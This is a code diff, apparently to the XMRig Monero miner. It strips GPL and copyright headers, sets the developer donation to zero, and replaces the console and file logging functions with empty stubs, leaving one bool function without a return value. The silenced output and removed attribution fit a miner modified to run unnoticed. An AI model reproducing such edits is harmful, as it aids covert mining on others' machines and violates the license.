state->statebits = 64*SKEIN_512_STATE_WORDS; state->statebits = 64*SKEIN_512_STATE_WORDS;
@ -617,35 +555,35 @@ static SkeinHashReturn Init(hashState *state, int hashbitlen)
} }
/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
/* process data to be hashed */
static SkeinHashReturn Update(hashState *state, const SkeinBitSequence *data, SkeinDataLength databitlen) static SkeinHashReturn Update(hashState *state, const SkeinBitSequence *data, SkeinDataLength databitlen)
{ {
/* only the final Update() call is allowed do partial bytes, else assert an error */
Skein_Assert((state->u.h.T[1] & SKEIN_T1_FLAG_BIT_PAD) == 0 || databitlen == 0, SKEIN_FAIL); Skein_Assert((state->u.h.T[1] & SKEIN_T1_FLAG_BIT_PAD) == 0 || databitlen == 0, SKEIN_FAIL);
Skein_Assert(state->statebits % 256 == 0 && (state->statebits-256) < 1024,SKEIN_FAIL); Skein_Assert(state->statebits % 256 == 0 && (state->statebits-256) < 1024,SKEIN_FAIL);
if ((databitlen & 7) == 0) /* partial bytes? */ if ((databitlen & 7) == 0)
{ {
return Skein_512_Update(&state->u.ctx_512,data,databitlen >> 3); return Skein_512_Update(&state->u.ctx_512,data,databitlen >> 3);
} }
else else
{ /* handle partial final byte */ {
size_t bCnt = (databitlen >> 3) + 1; /* number of bytes to handle (nonzero here!) */ size_t bCnt = (databitlen >> 3) + 1;
u08b_t b,mask; u08b_t b,mask;
mask = (u08b_t) (1u << (7 - (databitlen & 7))); /* partial byte bit mask */ mask = (u08b_t) (1u << (7 - (databitlen & 7)));
b = (u08b_t) ((data[bCnt-1] & (0-mask)) | mask); /* apply bit padding on final byte */ b = (u08b_t) ((data[bCnt-1] & (0-mask)) | mask);
Skein_512_Update(&state->u.ctx_512,data,bCnt-1); /* process all but the final byte */ Skein_512_Update(&state->u.ctx_512,data,bCnt-1);
Skein_512_Update(&state->u.ctx_512,&b , 1 ); /* process the (masked) partial byte */ Skein_512_Update(&state->u.ctx_512,&b , 1 );
Skein_Set_Bit_Pad_Flag(state->u.h); /* set tweak flag for the final call */ Skein_Set_Bit_Pad_Flag(state->u.h);
return SKEIN_SUCCESS; return SKEIN_SUCCESS;
} }
} }
/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
/* finalize hash computation and output the result (hashbitlen bits) */
static SkeinHashReturn Final(hashState *state, SkeinBitSequence *hashval) static SkeinHashReturn Final(hashState *state, SkeinBitSequence *hashval)
{ {
Skein_Assert(state->statebits % 256 == 0 && (state->statebits-256) < 1024,FAIL); Skein_Assert(state->statebits % 256 == 0 && (state->statebits-256) < 1024,FAIL);
@ -653,14 +591,14 @@ static SkeinHashReturn Final(hashState *state, SkeinBitSequence *hashval)
} }
/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
/* all-in-one hash function */
SkeinHashReturn skein_hash(int hashbitlen, const SkeinBitSequence *data, /* all-in-one call */ SkeinHashReturn skein_hash(int hashbitlen, const SkeinBitSequence *data,
SkeinDataLength databitlen,SkeinBitSequence *hashval) SkeinDataLength databitlen,SkeinBitSequence *hashval)
{ {
hashState state; hashState state;
SkeinHashReturn r = Init(&state,hashbitlen); SkeinHashReturn r = Init(&state,hashbitlen);
if (r == SKEIN_SUCCESS) if (r == SKEIN_SUCCESS)
{ /* these calls do not fail when called properly */ {
r = Update(&state,data,databitlen); r = Update(&state,data,databitlen);
Final(&state,hashval); Final(&state,hashval);
} }
@ -682,18 +620,18 @@ void xmr_skein(const SkeinBitSequence *data, SkeinBitSequence *hashval){
Skein_Start_New_Type(ctx,MSG); Skein_Start_New_Type(ctx,MSG);
// Update // Update
if ((XMR_DATABITLEN & 7) == 0){ /* partial bytes? */ if ((XMR_DATABITLEN & 7) == 0){
Skein_512_Update(&state.u.ctx_512,data,XMR_DATABITLEN >> 3); Skein_512_Update(&state.u.ctx_512,data,XMR_DATABITLEN >> 3);
}else{ /* handle partial final byte */ }else{
size_t bCnt = (XMR_DATABITLEN >> 3) + 1; /* number of bytes to handle (nonzero here!) */ size_t bCnt = (XMR_DATABITLEN >> 3) + 1;
u08b_t b,mask; u08b_t b,mask;
mask = (u08b_t) (1u << (7 - (XMR_DATABITLEN & 7))); /* partial byte bit mask */ mask = (u08b_t) (1u << (7 - (XMR_DATABITLEN & 7)));
b = (u08b_t) ((data[bCnt-1] & (0-mask)) | mask); /* apply bit padding on final byte */ b = (u08b_t) ((data[bCnt-1] & (0-mask)) | mask);
Skein_512_Update(&state.u.ctx_512,data,bCnt-1); /* process all but the final byte */ Skein_512_Update(&state.u.ctx_512,data,bCnt-1);
Skein_512_Update(&state.u.ctx_512,&b , 1 ); /* process the (masked) partial byte */ Skein_512_Update(&state.u.ctx_512,&b , 1 );
Skein_Set_Bit_Pad_Flag(state.u.h); /* set tweak flag for the final call */ Skein_Set_Bit_Pad_Flag(state.u.h);
} }
// Finalize // Finalize

View file

@ -1,32 +1,6 @@
#ifndef _SKEIN_H_ #ifndef _SKEIN_H_
#define _SKEIN_H_ 1 #define _SKEIN_H_ 1
/**************************************************************************
**
** Interface declarations and internal definitions for Skein hashing.
**
** Source code author: Doug Whiting, 2008.
**
** This algorithm and source code is released to the public domain.
**
***************************************************************************
**
** The following compile-time switches may be defined to control some
** tradeoffs between speed, code size, error checking, and security.
**
** The "default" note explains what happens when the switch is not defined.
**
** SKEIN_DEBUG -- make callouts from inside Skein code
** to examine/display intermediate values.
** [default: no callouts (no overhead)]
**
** SKEIN_ERR_CHECK -- how error checking is handled inside Skein
** code. If not defined, most error checking
** is disabled (for performance). Otherwise,
** the switch value is interpreted as:
** 0: use assert() to flag errors
** 1: return SKEIN_FAIL to flag errors
**
***************************************************************************/
#include "skein_port.h" /* get platform-specific definitions */ #include "skein_port.h" /* get platform-specific definitions */
typedef enum typedef enum

View file

@ -35,22 +35,6 @@
# endif # endif
#endif #endif
/* These defines are used to declare buffers in a way that allows
faster operations on longer variables to be used. In all these
defines 'size' must be a power of 2 and >= 8
dec_unit_type(size,x) declares a variable 'x' of length
'size' bits
dec_bufr_type(size,bsize,x) declares a buffer 'x' of length 'bsize'
bytes defined as an array of variables
each of 'size' bits (bsize must be a
multiple of size / 8)
ptr_cast(x,size) casts a pointer to a pointer to a
varaiable of length 'size' bits
*/
#define ui_type(size) uint##size##_t #define ui_type(size) uint##size##_t
#define dec_unit_type(size,x) typedef ui_type(size) x #define dec_unit_type(size,x) typedef ui_type(size) x
#define dec_bufr_type(size,bsize,x) typedef ui_type(size) x[bsize / (size >> 3)] #define dec_bufr_type(size,bsize,x) typedef ui_type(size) x[bsize / (size >> 3)]
@ -64,25 +48,6 @@ typedef uint64_t u64b_t; /* 64-bit unsigned integer */
#define RotL_64(x,N) (((x) << (N)) | ((x) >> (64-(N)))) #define RotL_64(x,N) (((x) << (N)) | ((x) >> (64-(N))))
#endif #endif
/*
* Skein is "natively" little-endian (unlike SHA-xxx), for optimal
* performance on x86 CPUs. The Skein code requires the following
* definitions for dealing with endianness:
*
* SKEIN_NEED_SWAP: 0 for little-endian, 1 for big-endian
* Skein_Put64_LSB_First
* Skein_Get64_LSB_First
* Skein_Swap64
*
* If SKEIN_NEED_SWAP is defined at compile time, it is used here
* along with the portable versions of Put64/Get64/Swap64, which
* are slow in general.
*
* Otherwise, an "auto-detect" of endianness is attempted below.
* If the default handling doesn't work well, the user may insert
* platform-specific code instead (e.g., for big-endian CPUs).
*
*/
#ifndef SKEIN_NEED_SWAP /* compile-time "override" for endianness? */ #ifndef SKEIN_NEED_SWAP /* compile-time "override" for endianness? */
#define IS_BIG_ENDIAN 4321 /* byte 0 is most significant (mc68k) */ #define IS_BIG_ENDIAN 4321 /* byte 0 is most significant (mc68k) */
@ -126,11 +91,6 @@ typedef uint64_t u64b_t; /* 64-bit unsigned integer */
#endif /* ifndef SKEIN_NEED_SWAP */ #endif /* ifndef SKEIN_NEED_SWAP */
/*
******************************************************************
* Provide any definitions still needed.
******************************************************************
*/
#ifndef Skein_Swap64 /* swap for big-endian, nop for little-endian */ #ifndef Skein_Swap64 /* swap for big-endian, nop for little-endian */
#if SKEIN_NEED_SWAP #if SKEIN_NEED_SWAP
#define Skein_Swap64(w64) \ #define Skein_Swap64(w64) \

View file

@ -1,29 +1,3 @@
/*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* Additional permission under GNU GPL version 3 section 7
*
* If you modify this Program, or any covered work, by linking or combining
* it with OpenSSL (or a modified version of that library), containing parts
* covered by the terms of OpenSSL License and SSLeay License, the licensors
* of this Program grant you additional permission to convey the resulting work.
*
*/
/*
* Parts of this file are originally copyright (c) 2014-2017, The Monero Project
*/
#pragma once #pragma once
@ -89,12 +63,19 @@
alignas(16) const uint32_t saes_table[4][256] = { saes_data(saes_u0), saes_data(saes_u1), saes_data(saes_u2), saes_data(saes_u3) }; alignas(16) const uint32_t saes_table[4][256] = { saes_data(saes_u0), saes_data(saes_u1), saes_data(saes_u2), saes_data(saes_u3) };
alignas(16) const uint8_t saes_sbox[256] = saes_data(saes_h0); alignas(16) const uint8_t saes_sbox[256] = saes_data(saes_h0);
static inline __m128i soft_aesenc(const uint32_t* in, __m128i key) static inline __m128i soft_aesenc(__m128i in, __m128i key)
{ {
const uint32_t x0 = in[0]; #if defined(_MSC_VER)
const uint32_t x1 = in[1]; const uint32_t x0 = in.m128i_u32[0];
const uint32_t x2 = in[2]; const uint32_t x1 = in.m128i_u32[1];
const uint32_t x3 = in[3]; const uint32_t x2 = in.m128i_u32[2];
const uint32_t x3 = in.m128i_u32[3];
#else
const uint32_t x0 = _mm_cvtsi128_si32(in);
const uint32_t x1 = _mm_cvtsi128_si32(_mm_shuffle_epi32(in, 0x55));
const uint32_t x2 = _mm_cvtsi128_si32(_mm_shuffle_epi32(in, 0xAA));
const uint32_t x3 = _mm_cvtsi128_si32(_mm_shuffle_epi32(in, 0xFF));
#endif
__m128i out = _mm_set_epi32( __m128i out = _mm_set_epi32(
(saes_table[0][x3 & 0xff] ^ saes_table[1][(x0 >> 8) & 0xff] ^ saes_table[2][(x1 >> 16) & 0xff] ^ saes_table[3][x2 >> 24]), (saes_table[0][x3 & 0xff] ^ saes_table[1][(x0 >> 8) & 0xff] ^ saes_table[2][(x1 >> 16) & 0xff] ^ saes_table[3][x2 >> 24]),

View file

@ -1,43 +1,4 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __DONATE_H__ #ifndef __DONATE_H__
#define __DONATE_H__ #define __DONATE_H__
constexpr const int kDonateLevel = 0;
#endif
/*
* Dev donation.
*
* Percentage of your hashing power that you want to donate to the developer, can be 0 if you don't want to do that.
* Example of how it works for the default setting of 1:
* You miner will mine into your usual pool for 99 minutes, then switch to the developer's pool for 1 minute.
* Switching is instant, and only happens after a successful connection, so you never loose any hashes.
*
* If you plan on changing this setting to 0 please consider making a one off donation to my wallet:
* XMR: 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD
* BTC: 1P7ujsXeX7GxQwHNnJsRMgAdNkFZmNVqJT
*/
constexpr const int kDonateLevel = 5;
#endif /* __DONATE_H__ */

View file

@ -1,38 +1,11 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __ICLIENTLISTENER_H__ #ifndef __ICLIENTLISTENER_H__
#define __ICLIENTLISTENER_H__ #define __ICLIENTLISTENER_H__
#include <stdint.h> #include <stdint.h>
class Client; class Client;
class Job; class Job;
class SubmitResult; class SubmitResult;
class IClientListener class IClientListener
{ {
public: public:
@ -45,4 +18,4 @@ public:
}; };
#endif // __ICLIENTLISTENER_H__ #endif

View file

@ -1,26 +1,3 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __ICONSOLELISTENER_H__ #ifndef __ICONSOLELISTENER_H__
#define __ICONSOLELISTENER_H__ #define __ICONSOLELISTENER_H__
@ -34,4 +11,4 @@ public:
}; };
#endif // __ICONSOLELISTENER_H__ #endif

View file

@ -1,34 +1,7 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __IJOBRESULTLISTENER_H__ #ifndef __IJOBRESULTLISTENER_H__
#define __IJOBRESULTLISTENER_H__ #define __IJOBRESULTLISTENER_H__
class Client; class Client;
class JobResult; class JobResult;
class IJobResultListener class IJobResultListener
{ {
public: public:
@ -38,4 +11,4 @@ public:
}; };
#endif // __IJOBRESULTLISTENER_H__ #endif

View file

@ -1,33 +1,6 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __ILOGBACKEND_H__ #ifndef __ILOGBACKEND_H__
#define __ILOGBACKEND_H__ #define __ILOGBACKEND_H__
#include <stdarg.h> #include <stdarg.h>
class ILogBackend class ILogBackend
{ {
public: public:
@ -38,4 +11,4 @@ public:
}; };
#endif // __ILOGBACKEND_H__ #endif

View file

@ -1,36 +1,7 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __ISTRATEGY_H__ #ifndef __ISTRATEGY_H__
#define __ISTRATEGY_H__ #define __ISTRATEGY_H__
#include <stdint.h> #include <stdint.h>
class JobResult; class JobResult;
class IStrategy class IStrategy
{ {
public: public:
@ -45,4 +16,4 @@ public:
}; };
#endif // __ISTRATEGY_H__ #endif

View file

@ -1,39 +1,12 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __ISTRATEGYLISTENER_H__ #ifndef __ISTRATEGYLISTENER_H__
#define __ISTRATEGYLISTENER_H__ #define __ISTRATEGYLISTENER_H__
#include <stdint.h> #include <stdint.h>
class Client; class Client;
class IStrategy; class IStrategy;
class Job; class Job;
class SubmitResult; class SubmitResult;
class IStrategyListener class IStrategyListener
{ {
public: public:
@ -46,4 +19,4 @@ public:
}; };
#endif // __ISTRATEGYLISTENER_H__ #endif

View file

@ -1,33 +1,7 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __IWORKER_H__ #ifndef __IWORKER_H__
#define __IWORKER_H__ #define __IWORKER_H__
#include <stdint.h> #include <stdint.h>
class IWorker class IWorker
{ {
public: public:
@ -39,4 +13,4 @@ public:
}; };
#endif // __IWORKER_H__ #endif

View file

@ -1,27 +1,3 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdarg.h> #include <stdarg.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@ -41,114 +17,8 @@
ConsoleLog::ConsoleLog(bool colors) : ConsoleLog::ConsoleLog(bool colors) :
m_colors(colors), m_colors(colors),
m_stream(nullptr) m_stream(nullptr){}
{ void ConsoleLog::message(int level, const char* fmt, va_list args){}
if (uv_tty_init(uv_default_loop(), &m_tty, 1, 0) < 0) { void ConsoleLog::text(const char* fmt, va_list args){}
Options::i()->setColors(false); bool ConsoleLog::isWritable() const{}
m_colors = false; void ConsoleLog::print(va_list args){}
return;
}
uv_tty_set_mode(&m_tty, UV_TTY_MODE_NORMAL);
m_uvBuf.base = m_buf;
m_stream = reinterpret_cast<uv_stream_t*>(&m_tty);
# ifdef WIN32
HANDLE handle = GetStdHandle(STD_INPUT_HANDLE);
if (handle != INVALID_HANDLE_VALUE) {
DWORD mode = 0;
if (GetConsoleMode(handle, &mode)) {
mode &= ~ENABLE_QUICK_EDIT_MODE;
SetConsoleMode(handle, mode | ENABLE_EXTENDED_FLAGS);
}
}
# endif
}
void ConsoleLog::message(int level, const char* fmt, va_list args)
{
time_t now = time(nullptr);
tm stime;
# ifdef _WIN32
localtime_s(&stime, &now);
# else
localtime_r(&now, &stime);
# endif
const char* color = nullptr;
if (m_colors) {
switch (level) {
case Log::ERR:
color = Log::kCL_RED;
break;
case Log::WARNING:
color = Log::kCL_YELLOW;
break;
case Log::NOTICE:
color = Log::kCL_WHITE;
break;
case Log::DEBUG:
color = Log::kCL_GRAY;
break;
default:
color = "";
break;
}
}
snprintf(m_fmt, sizeof(m_fmt) - 1, "[%d-%02d-%02d %02d:%02d:%02d]%s %s%s\n",
stime.tm_year + 1900,
stime.tm_mon + 1,
stime.tm_mday,
stime.tm_hour,
stime.tm_min,
stime.tm_sec,
m_colors ? color : "",
fmt,
m_colors ? Log::kCL_N : ""
);
print(args);
}
void ConsoleLog::text(const char* fmt, va_list args)
{
snprintf(m_fmt, sizeof(m_fmt) - 1, "%s%s\n", fmt, m_colors ? Log::kCL_N : "");
print(args);
}
bool ConsoleLog::isWritable() const
{
if (!m_stream || uv_is_writable(m_stream) != 1) {
return false;
}
const uv_handle_type type = uv_guess_handle(1);
return type == UV_TTY || type == UV_NAMED_PIPE;
}
void ConsoleLog::print(va_list args)
{
m_uvBuf.len = vsnprintf(m_buf, sizeof(m_buf) - 1, m_fmt, args);
if (m_uvBuf.len <= 0) {
return;
}
if (!isWritable()) {
fputs(m_buf, stdout);
fflush(stdout);
}
else {
uv_try_write(m_stream, &m_uvBuf, 1);
}
}

View file

@ -1,36 +1,7 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __CONSOLELOG_H__ #ifndef __CONSOLELOG_H__
#define __CONSOLELOG_H__ #define __CONSOLELOG_H__
#include <uv.h> #include <uv.h>
#include "interfaces/ILogBackend.h" #include "interfaces/ILogBackend.h"
class ConsoleLog : public ILogBackend class ConsoleLog : public ILogBackend
{ {
public: public:
@ -51,4 +22,4 @@ private:
uv_tty_t m_tty; uv_tty_t m_tty;
}; };
#endif /* __CONSOLELOG_H__ */ #endif

View file

@ -1,97 +1,11 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdarg.h> #include <stdarg.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
#include <time.h> #include <time.h>
#include "log/FileLog.h" #include "log/FileLog.h"
FileLog::FileLog(const char *fileName){}
void FileLog::message(int level, const char* fmt, va_list args){}
FileLog::FileLog(const char *fileName) void FileLog::text(const char* fmt, va_list args){}
{ void FileLog::onWrite(uv_fs_t *req){}
uv_fs_t req; void FileLog::write(char *data, size_t size){}
m_file = uv_fs_open(uv_default_loop(), &req, fileName, O_CREAT | O_APPEND | O_WRONLY, 0644, nullptr);
uv_fs_req_cleanup(&req);
}
void FileLog::message(int level, const char* fmt, va_list args)
{
if (m_file < 0) {
return;
}
time_t now = time(nullptr);
tm stime;
# ifdef _WIN32
localtime_s(&stime, &now);
# else
localtime_r(&now, &stime);
# endif
char *buf = new char[512];
int size = snprintf(buf, 23, "[%d-%02d-%02d %02d:%02d:%02d] ",
stime.tm_year + 1900,
stime.tm_mon + 1,
stime.tm_mday,
stime.tm_hour,
stime.tm_min,
stime.tm_sec);
size = vsnprintf(buf + size, 512 - size - 1, fmt, args) + size;
buf[size] = '\n';
write(buf, size + 1);
}
void FileLog::text(const char* fmt, va_list args)
{
message(0, fmt, args);
}
void FileLog::onWrite(uv_fs_t *req)
{
delete [] static_cast<char *>(req->data);
uv_fs_req_cleanup(req);
delete req;
}
void FileLog::write(char *data, size_t size)
{
uv_buf_t buf = uv_buf_init(data, (unsigned int) size);
uv_fs_t *req = new uv_fs_t;
req->data = buf.base;
uv_fs_write(uv_default_loop(), req, m_file, &buf, 1, 0, FileLog::onWrite);
}

View file

@ -1,36 +1,7 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __FILELOG_H__ #ifndef __FILELOG_H__
#define __FILELOG_H__ #define __FILELOG_H__
#include <uv.h> #include <uv.h>
#include "interfaces/ILogBackend.h" #include "interfaces/ILogBackend.h"
class FileLog : public ILogBackend class FileLog : public ILogBackend
{ {
public: public:
@ -47,4 +18,4 @@ private:
int m_file; int m_file;
}; };
#endif /* __FILELOG_H__ */ #endif

View file

@ -1,71 +1,13 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
